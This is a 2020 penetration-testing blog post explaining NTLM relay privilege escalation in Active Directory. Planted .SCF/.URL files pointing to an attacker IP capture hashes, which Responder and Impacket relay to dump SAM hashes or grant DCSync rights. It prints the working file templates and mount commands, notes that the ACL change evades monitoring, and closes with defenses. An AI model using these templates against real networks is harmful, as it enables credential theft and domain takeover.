As pentesters and red teamers, we know that it isn’t hard to get user passwords. The real challenge can be getting an elevated user such as Domain Admin (DA) or Enterprise Admin (EA), especially if you want to try bypassing any type of security auditing, such as the addition of a user to a privileged domain group. This is a common theme in pentests that TEAMARES conducts, so I decided to show how you can take a low-level user to gain local user hashes from the Security Account Manager (SAM) database file, or be able to obtain the extended rights Replication-Get-Changes-All by modifying the domain’s Access Control List (ACL) on a low-level user so they may leverage the attack DCSync attack to gain access to all domain stored credential hashes and secrets.

In order for this to work you will need:

• A low-level user password within the domain
• A network share that is writable by that low-level user and one that elevated users navigate to
• Responder, Impacket, and CrackMapExec from a tools perspective

Regardless of how you get the password of a low-level user, make sure that it is not an administrator on any machines already. If it is, it’s possible that the client is reusing a local admin password for all devices and you don’t need any help escalating. This blog assumes you did that and found that your user has low privileges.

Figure 1: Using CrackMapExec to show that the user is a real domain user

With the validation of our low-level user being a domain user, the next step is to validate what shares are available to the user rick as readable and writable. To do this, I use smbmap which is great because it can take one host or more from a file, although you could use CrackMapExec with the –shares option to do the same thing. When we run it on our user rick, we find that the machine 10.20.80.71 has a SMB share named home that is readable and writable.

Our assumption is that the home directory is accessible by all Windows machines within the network. This is something we have seen often, especially when it comes to mapping file shares for user home directories.

Figure 2: Showing read and write access to user rick

I have also found that some companies map Windows shares to Linux systems through NAS devices, so make sure to check those areas as well. The key is to find a share that is mapped to Windows devices that can be viewed by administrators either on the domain or local.

The next step is to map the SMB share home from 10.20.80.71 to the attackers’ box. To do this on Linux I use cifs-utils to issue the following commands:

# Install cifs-utils

apt install cifs-utils

# Setup a mount point

mkdir /mnt/victim

# Mount the victim SMB share to /mnt/victim

mount -t cifs -o username=<windows user> //<Victim_IP>/<share> /mnt/victim

 

Figure 3: Mounting share to attackers’ box

With the share mounted, we can see that it’s possible to write to the user svc-superadmin’s directory. Which, based on the naming convention, we can assume is a good target. Now, we need to set up our attack! We want to use relaying in order to “automate” our attack and receive either SAM hashes from the local machine or elevate the user rick to have the extended right Replication-Get-Changes-All. To do that, we can choose from one of two file formats that will automatically send the attacker a NET-NTLMv2 hash that we can then relay to the target box 10.20.80.71.

REMEMBER YOU CAN’T RELAY TO THE SAME BOX!

Two file formats that can be used are .SCF or .URL files as shown below:

#SCF File Format

[Shell]

Command=2

IconFile=\\<attackerIP>\test

[Taskbar]

Command=ToggleDesktop

 

#URL File Format

[InternetShortcut]

URL=work

WorkingDirectory=work

IconFile=\\<attackerIP>\safe.icon

IconIndex=1

Sometimes an .SCF file won’t work but a .URL will. Not sure why this is and if you know why, please feel free to let me know.

With a file format chosen, we craft the file replacing the attacker IP and put it within the user’s svc-superadmin home directory.

Figure 4: .URL file in victim directory

For the first attack, we are going to dump the SAM hashes. This sometimes is enough to gain DA or EA because some companies may reuse that same local admin across their entire environment. We can also use that local admin hash to dump the registry LSA Secrets, which is a protected registry location that contains sensitive data being used by the Local Security Authority from all the boxes as we have often found cleartext credentials within that dump using CrackMapExec.

To do this, we first set up Impacket with the hosts we want to attempt to pass-the-hash to. In our example, we are only using one IP as we will be viewing the .URL file from another Windows Server.

Figure 5: Impacket running with host file containing 10.20.80.71

After Impacket is running, turn on Responder so that we can capture the NET-NTLMv2 hash of the victim user svc-superadmin that will be passed on to Impacket.

Figure 6: Responder Running waiting on incoming connections

Once the user svc-superadmin visits the shared folder on their machine, Responder will forward the NET-NTLMv2 hash on to Impacket which then authenticates to the machine we set up early to target and the SAM hashes are dumped from the victim server.

Figure 7: SAM Being dumped when svc-superadmin browses fileshare

We could stop here, but maybe we don’t want just the local hashes and we want to update the low-level user rick’s ACLs to have the ability to perform the DCSync attack.  What if the client is using something like Microsoft’s Local Administration Password Solution (LAPS) which randomizes the local administrator password for each Active Directory tied machine and shares it amongst those in a special Active Directory group?

We can do that with Impacket as well by passing the NET-NTLMv2 hash to the LDAP port instead of an SMB port. This only works if the hash being passed belongs to an elevated user within the domain that has the right to alter other users’ ACL rights.

Figure 8: Changed ACLs for user rick

Once svc-superadmin views the share, you will notice that Impacket starts to enumerate the users’ svc-superadmin’s rights on the domain and then sets the user rick’s ACLs to contain the extended right Replication-Get-Changes-All, which allows users the right to replicate secret domain data and dump credential hashes using DCSync. Since most companies monitor the addition of users to privileged groups and not ACL changes, this could bypass rules in Splunk and other monitoring tools with ease, allowing you to reach your goal and dump the NTDS.DIT file which contains all the password hashes for all users, service accounts, and machines tied to the domain.

Figure 9: Dumping NTDS.DIT by user rick

After dumping the domain, we need to reset the user’s ACLs back to what they were before to ensure proper clean-up. To do this, take the NTLM hash for svc_superadmin that was acquired in the NTDS.DIT dump and utilize the aclpwn.py script from Impacket in order to reverse your changes.

Figure 10: Restoring user rick’s ACL’s

 

How to protect yourself against this attack?

One way to prevent this attack is to lock down share access as much as possible to ensure low-level users don’t have arbitrary write access to locations that are also viewed by privileged users. This shows why having shares such as “temp” to temporarily share folders among any user within a network can be very dangerous.

Another way to prevent this attack is to not use privileged users for normal day-to-day operations. Having separate accounts for privileged accounts is imperative! If a user who also has a DA account, with a different password, has their normal account’s NET-NTLMv2 hash taken or relayed the attacker would not be able to elevate their privileges so easily.

Next, you could monitor your domain for any changes to ACLs that include the following extended rights which are commonly used to perform the DCSync attacks:

• DS-Replication-Get-Changes
  • CN: DS-Replication-Get-Changes
  • GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
• Replicating Directory Changes All
  • CN: DS-Replication-Get-Changes-All
  • GUID: 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2

Finally, you can make SMB require signing to ensure relay attacks are prevented on the server-side by going to your Group Policy Editor -> Windows Settings -> Security Settings -> Local Policies -> Security Options and checking on:

• Microsoft network server: Digitally sign communications (always)
• Microsoft network server: Digitally sign communications (if client agrees)

Ensuring both are set to “Enabled.”

 

Author: Quentin (paragonsec) Rhoads-Herrera, Director of Professional Services

March 26, 2020